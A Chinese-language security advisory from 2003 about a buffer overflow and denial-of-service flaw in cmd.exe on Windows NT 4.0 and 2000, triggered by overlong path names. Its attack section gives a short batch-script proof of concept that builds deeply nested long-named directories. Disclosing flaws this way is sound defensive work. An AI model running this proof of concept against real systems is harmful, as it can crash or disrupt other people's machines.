积极预防 及时发现
快速响应 力保恢复
cmd.exe超长路径名缓冲溢出/DoS缺陷 (MS,缺陷)
发布时间:2003-02-13 信息来源:管理员

涉及程序: Windows NT 4.0/2000 描述: cmd.exe超长路径名缓冲溢出/DoS缺陷 详细: cmd.exe是Windows NT操作系统上自带的命令处理程序,用来处理.bat和.cmd批处理文件。cmd.exe使用cd命令处理一个超长路径名时,将产生缺陷,导致在Windows NT 4.0中引发缓冲溢出,在Windows 2000中处理批处理文件失败。 NTFS 文件系统允许创造超长路径名,但Windows API却不允许路径名长度超过256字节。在Windows NT中用cd命令处理长度超过256字节的路径名,将引发缓冲溢出,导致执行任意代码;在Windows 2000中虽然不会引发缓冲溢出,但cmd.exe在处理一个稍微超过256字节(如260字节)的路径名时,将导致cd..命令失效。 攻击方法: 示例: @echo off SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB mkdir \\\\?\\c:\\%A% mkdir \\\\?\\c:\\%A%\\%A% mkdir \\\\?\\c:\\%A%\\%B%\c: cd \cd AAAAAAAAAAAA* cd AAAAAAAAAAAA* cd BBBBBBBBBBBB* cd .. 创建两个子目录,第一个示范在Windows NT 4.0上产生缓冲溢出,第二个示范cmd.exe改变目录到AA...\\BB...,且cd..命令失效。 解决方案: 目前还没有厂商还没有提供补丁或者升级程序,建议用户随时关注厂商站点: http://www.microsoft.com/